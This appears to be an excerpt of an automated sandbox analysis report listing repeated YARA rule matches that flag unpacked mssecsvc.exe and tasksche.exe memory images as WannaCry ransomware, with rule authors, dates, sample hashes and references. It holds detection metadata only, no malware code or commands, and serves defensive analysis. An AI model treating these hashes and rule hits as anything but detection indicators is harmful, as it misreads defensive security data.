              Source: 12.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 31.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 31.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 31.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 12.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 12.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 12.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 12.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 12.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 12.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 12.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 12.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 12.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 12.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 12.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 12.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 31.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 31.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 31.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
